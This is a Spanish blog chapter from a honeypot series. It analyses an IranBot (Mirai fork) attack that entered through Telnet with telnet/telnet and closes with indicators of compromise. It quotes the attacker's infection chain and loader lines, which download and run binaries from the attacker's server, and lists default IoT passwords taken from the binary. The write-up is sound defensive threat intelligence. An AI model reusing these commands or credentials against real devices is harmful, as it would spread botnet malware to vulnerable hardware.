IranBot · Capítulo 21
Me lo presentó su enemigo
Un escáner automático encontró el telnet del cebo y, dieciocho segundos después, ya había un binario dentro. La contraseña era «telnet». El cargador que soltó viene con dos erratas del operador, una de las cuales rompe una infección entera. Y cuando por fin le puse nombre a la familia —IranBot, un fork de Mirai con ficha pública— resultó que ese nombre ya estaba escrito en este blog desde agosto: lo había puesto un bot rival, en la lista de competidores que desinstala al llegar.
La infección la puedo resumir en una línea, porque duró menos de veinte segundos y no tiene misterio ninguno: contraseña de fábrica, un guion, catorce binarios. Lo interesante vino después, cuando fui a ponerle nombre.
Porque cuando por fin supe cómo se llamaba, resultó que ese nombre ya estaba escrito en este blog desde agosto. No lo puso él. Lo puso un bicho rival, dieciocho días antes, mientras intentaba echarlo de un teléfono que los dos querían.
01Menos de veinte segundos
No hubo cortejo. Una IP —176.65.139.206— se asomó al Telnet del cebo la mañana del 10 de septiembre y, en quince segundos, abrió siete conexiones seguidas. No era la primera vez que pasaba por aquí: once días antes había llamado al SSH del cebo, había aguantado cuatro segundos y se había ido sin intentar nada.
- 00:00Primer contacto. Abre y cierra sin decir nada. Y otra vez.
- 00:05Tercera conexión, y esta sí prueba: root / icatch99. Falla. Es una credencial fija de los grabadores LILIN, que entró en el repertorio de las botnets IoT con el 0-day de LILIN de 2020.
- 00:16Séptima conexión, y esta entra. Usuario telnet, contraseña telnet.
- 00:18Pega la orden de infección y el binario ya está dentro.
Dieciocho segundos del primer paquete al malware descargado. Es un escáner automático barriendo servicios —el SSH en agosto, el telnet ahora—: encontró un puerto abierto, probó lo que tenía que probar y ejecutó su guion. Ni siquiera insistió mucho: de las siete conexiones, solo dos llegaron a teclear una contraseña. Nadie estaba mirando.
La orden, tal cual llegó — todo en una línea:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://176.65.139[.]206/cat.sh
chmod cat.sh
sh cat.shEl rosario de cd del principio es marca de la casa Mirai: prueba directorios uno detrás de otro hasta dar con uno donde pueda escribir, porque en un router barato /tmp puede no existir, estar lleno o ser de solo lectura. Lo que ya no es tan de la casa es ese chmod cat.sh sin decir qué permisos. chmod necesita un modo y aquí no se lo pasan, así que la orden devuelve error. Da igual, porque el guion lo lanzan con sh, que no necesita permiso de ejecución — y precisamente por eso la errata lleva ahí quién sabe cuánto sin que nadie la note. Guárdala, que no es la única.
02Un cargador con dos erratas
cat.sh pesa 1.903 bytes y es lo más simple que puede ser: catorce líneas de descarga, una por arquitectura de CPU.
wget hxxp://176.65.139[.]206/iran.x86_64 -O x86_64 || curl … ; chmod 777 x86_64; ./x86_64 catloader;
wget hxxp://176.65.139[.]206/iran.mips -O mips || curl … ; chmod 777 mips; ./mips catloader;
# … y así con: aarch64 · m68k · mipsel · powerpc · sparc · sh4 · arc
# i486 · armv4l · armv5l · armv6l · armv7l (catorce en total)La escopeta de siempre: dispara los catorce y que arranque el que case con la CPU de la víctima; los otros trece fallan — y uno ni llegó a descargarse. Prueba wget y, si no está, curl — cinturón y tirantes, como el cascadeo obstinado de Sysorbit. Y lanza cada binario con un argumento, catloader, que es la etiqueta de campaña: el bot se la reportará a su central para que sepan por qué vía llegó. En Cling esa etiqueta era telnet; aquí es catloader.
Y ahora la segunda errata, que esta sí hace daño:
wget …/iran.aarch64 -O aarch64 ; chmod 777 aarch64; ./aarch64catloader;
↑ falta el espacioSe comieron el espacio entre el fichero y su argumento. Así que en cualquier aparato con CPU aarch64 —que son unos cuantos: routers modernos, cámaras, cajas Android de televisión— el bicho se descarga, se le dan permisos… y luego se intenta ejecutar un fichero llamado aarch64catloader que no existe. Esa infección no arranca nunca. El operador está perdiendo una arquitectura entera por un espacio.
Eso es lo observado: una de las catorce no estaba disponible en el momento del ataque. Y aparte, la lectura, que vuelve al final del capítulo: encaja con que esa mañana estuvieran tocando el directorio en vivo, mientras su bot infectaba.
03Las huellas y un nombre
Lo primero fue lo de siempre: coger el hash del binario de 64 bits y preguntarle a VirusTotal. Veintitrés motores de setenta y cinco lo daban por malo el día que lo miré, y la mayoría decía lo mismo: trojan.mirai, gafgyt. El resto, en genéricos — «malicioso», «ELF sospechoso». En MalwareBazaar no estaba: nadie lo había subido nunca.
Con eso, el reflejo es archivarlo como «otro Mirai» y pasar página. Pero quien compila un fork deja huellas suyas, y esas sí son concretas. Saqué las cadenas de texto del binario:
Not a mirai at all # el chiste del autor
Death to israel # una consigna, escrita a mano
!selfrep telnet !selfrep realtek # las dos órdenes de autorreplicación
selfrep.realtek # cómo se marca cuando se propaga solo
176.65.139.206
psize= srcport= httpmode= gport= gre_proto= msg= usleep=
root · user · postgres · xc3511 · 888888 · default · password · 12345
5up · klv1234 · anko · 7ujMko0admin · ikwb · dreamboxEse Not a mirai at all —«no es un Mirai en absoluto»— es una pulla del autor a quien vaya a abrir el fichero. Y es justo lo que lo delata, porque está documentado: Nokia Deepfield publicó una ficha de esta familia, y ahí están el chiste, la consigna, los siete parámetros exactos, las dos órdenes de autorreplicación, el marcador selfrep.realtek y hasta la convención de nombres del reparto — iran.<arquitectura>, que es literalmente lo que descarga mi cat.sh.
Coinciden todos. Lo comprobé además en dos binarios distintos del mismo paquete, el x86-64 y el m68k, que traen exactamente las mismas cadenas. No es un Mirai genérico: es un fork concreto, con nombre propio y ficha pública. Se llama IranBot.
Lo que sí me hizo gracia fue volver a VirusTotal con el nombre ya sabido: de los veintitrés motores que lo detectan, ninguno lo llama «IranBot». Todos lo archivan como Mirai o Gafgyt del montón. Su autor dejó escrito dentro del binario que aquello «no es un Mirai en absoluto», y veintitrés antivirus le han contestado que sí.
04Ya estaba aquí
Con el nombre en la mano hice lo que hago siempre antes de cantar nada: buscar si me sonaba de algo. Y busqué también dentro de mi propio blog, sin ninguna esperanza.
Sale. En el capítulo 7, publicado el 23 de agosto — dieciocho días antes de que esto entrara por el telnet.
pm uninstall com.manji.bot 2>/dev/null
pm uninstall com.iranbot.load 2>/dev/null ← aquí
pm uninstall com.android.log_handler_v2 2>/dev/null
pm uninstall com.oreo.mcflurry 2>/dev/null
# … y siete másAquello era Sysorbit, un bot de Android que entró por el cable de depuración. Lo primero que hace al llegar es desalojar a la competencia: recorre una lista de bots rivales y los va desinstalando uno por uno para quedarse el aparato en exclusiva. La misma guerra entre delincuentes que ya había visto en RedTail, pero en Android.
Y en esa lista de enemigos estaba el nombre que yo acababa de averiguar por mi cuenta, dieciocho días después. Lo tenía publicado y no lo sabía.
Hay una segunda coincidencia, y esta sí se mide. El centro de mando de Sysorbit vivía en 176.65.139.248. El que me atacó ahora es 176.65.139.206. El mismo bloque de 256 direcciones.
De ese bloque ya escribí en el capítulo 11, y con una precisión que ahora viene bien: el rango está a nombre de PFCLOUD-NET, pero quien lo anuncia a internet es otra empresa distinta, AS219502 · Storm Industries LLC. Son dos cosas que es muy fácil confundir, y según por cuál preguntes te sale una respuesta o ninguna.
Ahora bien, compartir bloque no es compartir dueño. Un /24 de un proveedor así lleva inquilinos que no tienen nada que ver entre sí, y eso ya me tocó comprobarlo enumerando uno. Lo único que dice esta coincidencia es dónde se compra este tipo de alojamiento — y la respuesta lleva ya unos cuantos capítulos siendo la misma dirección.
05La caja se vacía el mismo día
Un par de horas después del ataque volví a mirar el servidor del que se había descargado todo. Pedí el índice del directorio raíz:
Index of /
[ICO] Name Last modified Size Description
────────────────────────────────────────────────────────
Apache/2.4.58 (Ubuntu) Server at 176.65.139.206 Port 80Vacío. Ni cat.sh, ni un solo iran.*. Podría ser que solo hubieran apagado el listado del directorio y los ficheros siguieran ahí, así que pedí uno por su nombre exacto: 404. Borrados de verdad.
Shodan guarda el tamaño de esa página de índice cada vez que pasa por delante, y ese número sube y baja según cuántos ficheros haya listados. Su histórico cuenta la historia sola:
30 de agosto 746 B # una carpeta, bins/
9 de septiembre 556 B # lo vacían
10 de septiembre 932 B # bins/ otra vez, y un guion — pero NO los míos
──────────────────────────────────────────────
10 de septiembre vacío # esto ya no es Shodan: es mi consultaEse 932 me hizo dudar, así que fui a mirar qué listaba exactamente. Ni cat.sh ni un solo iran.*: lo que Shodan vio esa madrugada era la carpeta de siempre y un guion de otra campaña. Y las cuentas cuadran al byte — sobre el índice vacío de 556, una fila de carpeta y una de fichero suman exactamente esos 932.
Ese directorio se toca a diario. Y mis ficheros vivieron en una ventana más corta de lo que yo creía: aún no estaban cuando Shodan pasó, y ya no estaban cuando miré yo. Y no fui el primero en tenerla: la muestra ya estaba en VirusTotal un buen rato antes de llegar a mi cebo. Encaja además con el 404 que el cebo guardó durante el propio ataque: ya entonces faltaba una de las catorce arquitecturas.
Y hay algo más que no esperaba, y es una ausencia. URLhaus —el catálogo público donde se reportan las direcciones que reparten malware— tiene treinta y cuatro de esa misma caja, la última del 7 de septiembre. Ninguna es cat.sh. Ninguna es un iran.*. Ni en MalwareBazaar, donde tampoco está ninguno de los cinco. Registro haberlo hay —los cinco ficheros llegaron a VirusTotal esa misma madrugada, y con los nombres iran.* puestos, así que alguien más los cazó—. Lo que no hay es nadie que la haya contado: ni una URL reportada, ni una entrada en los indicadores de la ficha, ni un análisis. De esta oleada, que yo haya podido encontrar, no hay más análisis público que este capítulo.
¿Y quién es la caja? OSINT pasivo, bases de datos de terceros, sin tocarla:
| Dato | Valor |
|---|---|
| Denuncias | 100 % de confianza de abuso · 560 reportes (AbuseIPDB, 10-sep-2026) |
| Vista desde | 29 de agosto (Shodan) |
| Puertos abiertos | 22 · 80 · 8098 |
| Etiquetas | open-dir · scanner |
| Rango | 176.65.139.0/24 · a nombre de PFCLOUD-NET · lo anuncia AS219502 · Storm Industries LLC (NL) |
06El espécimen
Seis ficheros guardó el cebo: el guion cargador, cuatro binarios y el 404. De las catorce arquitecturas, el cebo llegó a pedir cinco antes de que se cortara la sesión — cuatro binarios y un 404. Las otras nueve no se pidieron nunca.
IranBot · fork de Mirai VirusTotal lo canta trojan.mirai — tiene nombre propio
- Tamaño
- 164.272 B (x86-64) · 182.212 B (m68k) · 209.344 B (mips) · 211.616 B (mipsel)
- Entrega
- escopeta de 14 arquitecturas por Telnet · telnet/telnet
- Etiqueta de campaña
- catloader (argumento con que se lanza)
07Indicadores (IOCs)
De la infección. Los de dentro del bicho —empezando por a quién llama— van en el próximo.
| Tipo | Valor |
|---|---|
| IP atacante y servidor de reparto | 176.65.139.206 (:80 Apache · :22 SSH) · AS219502 Storm Industries LLC |
| URLs de reparto | hxxp://176.65.139[.]206/cat.sh hxxp://176.65.139[.]206/iran.<arch> (14 arquitecturas) hxxp://176.65.139[.]206/telnet.sh · hxxp://176.65.139[.]206/mips · hxxp://176.65.139[.]206/mipsel (las tres las construye el bot en ejecución: dentro lleva la ruta, y el host se lo pone de la misma dirección que usa para el mando) |
| Credenciales usadas | telnet/telnet (éxito) · root/icatch99 (fallo) |
| Cadena de infección | cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://<ip>/cat.sh; chmod cat.sh; sh cat.sh; |
| Etiqueta de campaña (argv) | catloader |
| User-Agent fijo | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 — el que usa su método httpmode= |
| Puertos que lleva fijos | 2000 (mando) · 9034/udp (el Realtek) · 23 (su escáner de telnet) |
| Marcadores de familia (cadenas) | Not a mirai at all · Death to israel · selfrep.realtek |
| Órdenes y parámetros | !selfrep telnet · !selfrep realtek · psize= srcport= httpmode= gport= gre_proto= msg= usleep= |
| Vector de autorreplicación | telnet por contraseñas de fábrica + Realtek Jungle SDK (CVE-2021-35394, UDP 9034) — cuando el operador se lo ordena, no por su cuenta |
| SHA-256 · cargador | 6a4503094d0031ae36c8b27cc36696087831901dfa421675ccb7509c9d7e58da (cat.sh, 1.903 B) |
| SHA-256 · binarios | f35bf04216d14180f9d28f6770a5722557f4a979d746f4ef664419363d0b755b (x86-64) 3f21d6f8621e38d2bc923dfaaf0861887c6ca0def522ae4dea0f9b840bf1d39a (m68k) 064d93495573a536517fa7ddf9fb6d3c4cddd4c7fdc61d4f90d12629cad690e6 (mips) ce452891a6e017f2523f8c7005df1180003ab3e96916774efb432bcc2a8e657f (mipsel) |
Los hashes caducan en cuanto el operador recompile, y recompila. Lo que aguanta es el resto de la tabla: catloader, Not a mirai at all y la cadena de cd encadenados siguen ahí en la siguiente build.
Continuará — con un hueco del tamaño de una casa. Tengo el bicho, tengo quién lo repartió y tengo su nombre. Lo que no tengo es a quién llama. Busqué la dirección de su central escondida dentro del binario y no la encontré: ninguno de los centros de mando que la ficha pública documenta, ni un dominio en texto claro, ni el número por ninguna parte. Cuatro caminos, y ninguno llevaba a ningún sitio — hasta que caí en que lo que me hacía falta era otro binario, y no era mío. Adelanto el final: la respuesta estaba en el volcado de ahí arriba, y yo pasé por encima. En el Capítulo 22. 🍯
Comentarios